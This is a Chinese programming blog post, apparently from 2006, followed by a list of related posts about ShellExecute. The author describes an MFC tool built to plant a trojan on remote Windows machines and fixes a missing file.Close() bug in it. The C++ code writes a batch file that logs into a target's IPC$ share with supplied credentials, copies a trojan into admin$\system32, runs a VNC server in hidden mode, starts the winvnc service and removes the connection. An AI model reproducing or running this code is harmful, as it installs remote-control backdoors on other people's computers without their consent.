由file.Close()引发ShellExecute 无法执行

原创 2006年06月01日 18:20:00

今天写了一个用IPC自动种植木马的程序

思路是将要执行的命令写入一个 bat 文件

然后用ShellExecute 执行bat文件

写bat 的文件代码如下:

void CIps4Dlg::OnOK()
{

//构建net use //ip/ipc$ "" /user:"administrator"
CString ip;
CString pass;
CString user;
CString muma;
GetDlgItemText(IDC_EDMUMA,muma);
GetDlgItemText(IDC_EDIP,ip);
GetDlgItemText(IDC_EDUSER,user);
GetDlgItemText(IDC_EDPASS,pass);
 CString se1="net use ////";
 se1+=ip;
 se1+="//ipc$";
 se1+=" /"";
 se1+=pass;
 se1+="/"";
 se1+=" /user:/"";
 se1+=user;
 se1+="/"";

//构建COPY 文件命令
CString se2="copy ";
se2+=muma;
se2+=" ////";
se2=se2+ip;
se2+="//admin$//system32";

//构建运行木马的命令
CString se3="ps ////";
se3=se3+ip;
se3+=" c://winnt//system32//vnc.exe -d";
//查看用户
CString se4="ps ////";
se4=se4+ip;
se4+=" net user";
//用SC开始VNC的服务
CString se5="sc ////";
se5=se5+ip;
se5+=" start winvnc";
//删除IPC连接
CString se6="net use////";
se6=se6+ip;
se6+=" /del";

/////////////////////////////////////////
//将运行命令写入BAT文件

CFile file("bat.bat",CFile::modeCreate|CFile::modeReadWrite);
file.Write(se1,60);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se2,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se3,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se4,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se5,55); 
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se6,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write("pause",7);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
}

写入成功后执行:

////////////////////////////////////////
//运行BAT文件
if(ShellExecute (NULL,"open","bat.bat",NULL,NULL,SW_SHOW)<(HANDLE)32)

MessageBox("Can't ShellExecute");

这是出现错误

开始以为是文件的打开放是有误

查了一下msdn

加了一句

CFile::shareExclusive  

以读写共享的方式打开文件

可惜失败了!

自己新建一个 bat文件用ShellExecute试一下

成功!这说明用ShellExecute可以调用执行批处理文件

而问题出在 file.write上

仔细观察代码 发现漏了一句!!

file.close();

加上试试成功调用!

写这么一个小程序就发现之么多问题

以后还得多写~~~~~~~~~~~

 

ShellExecute执行没有反应

ShellExecute执行没有反应作者:ImMcss 欢迎转载,请以超链接形式保留原文地址最近在使用ShellExecute打开网页的时候,网址正常的时候,程序可以正常打开网页,使用代码如下。std...
  • immcss
  • immcss
  • 2008年04月21日 17:01
  • 1065

ShellExecute(Ex) 运行带空格命令行

在应用程序中常使用ShellExecute来执行本地命令。当命令行参数路径含有空格时,命令常常会把带空格的路径分割当作参数项传递给应用程序。比如:TCHAR exeFullPath[_MAX_PATH...
  • siraytek
  • siraytek
  • 2010年01月20日 16:57
  • 1969

原来ShellExecute不能执行批处理文件

以下代码怎么都不执行a.bat,最后通过WinExec("./a.bat", SW_SHOW);解决 ShellExecute(NULL, "open", "./a.bat", NULL, NULL,...
  • LaoWu_
  • LaoWu_
  • 2011年03月27日 22:35
  • 4835

判断ShellExecute函数是否执行完一个程序的方法

ShellExecute是windows的API函数,功能是执行可执行文件(exe)或任何关联文件(doc、txt、xls等)。但ShellExecute是异步执行的,也就是说,不管执行的程序是否成功...
  • u011429664
  • u011429664
  • 2013年09月09日 15:16
  • 1029

ShellExecute 执行BAT命令

命令: ShellExecute(m_hWnd, _T("open"), _T("cmd.exe"), _T("/C d:\\test.bat 1 2 3 4"), NULL, SW_SHOWN...
  • pipi0714
  • pipi0714
  • 2014年04月11日 16:05
  • 4583

用ShellExecute执行cmd命令遇到的问题总结

1、如果命令中的路径包含空格,要把路径去掉头尾用双引号包含起来。 例:strPath = “”D:\\\"te st\\\"test.exe;(用“\”进行字符转义) 2、...
  • helinsen
  • helinsen
  • 2016年01月05日 19:02
  • 3285

ShellExecute参数

ShellExecute的功能是运行一个外部程序(或者是打开一个已注册的文件、打开一个目录、打印一个文件等等),并对外部程序有一定的控制。 有几个API函数都可以实现这些功能,但是在大多数情况下Sh...
  • lhyhr
  • lhyhr
  • 2012年09月26日 16:11
  • 1541

VC++ ShellExecute 执行、运行一个外部程序函数功能详解:

ShellExecute 函数功能:     ShellExecute 的功能是运行一个外部程序(或者是打开一个已注册的文件、打开一个目录、打印一个文件等等),并对外部程序有一定的控制。 函数简...
  • whui890911
  • whui890911
  • 2015年05月20日 11:52
  • 3135

ShellExecute和命令行

前段时间我在网上发现一篇帖子,专门讲用ShellExcute来使用cmd.exe里的ping命令,感觉很新鲜,于是试了一下。我将它做成了单击事件,使命令只需用手一点按钮就能执行!太方便了,还是非常实用...
  • dlyhlq
  • dlyhlq
  • 2008年02月24日 00:21
  • 1376

ShellExecute打开exe,跟双击打开效果不一样的解决办法

倒数第二个参数要写上exe的路径,如: ShellExecute(Handle, 'open', PChar(path + 'Web_server\DataBaseConfig.exe'), nil...
  • hank5658
  • hank5658
  • 2016年10月10日 17:15
  • 537
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:由file.Close()引发ShellExecute 无法执行
举报原因:
原因补充:

(最多只允许输入30个字)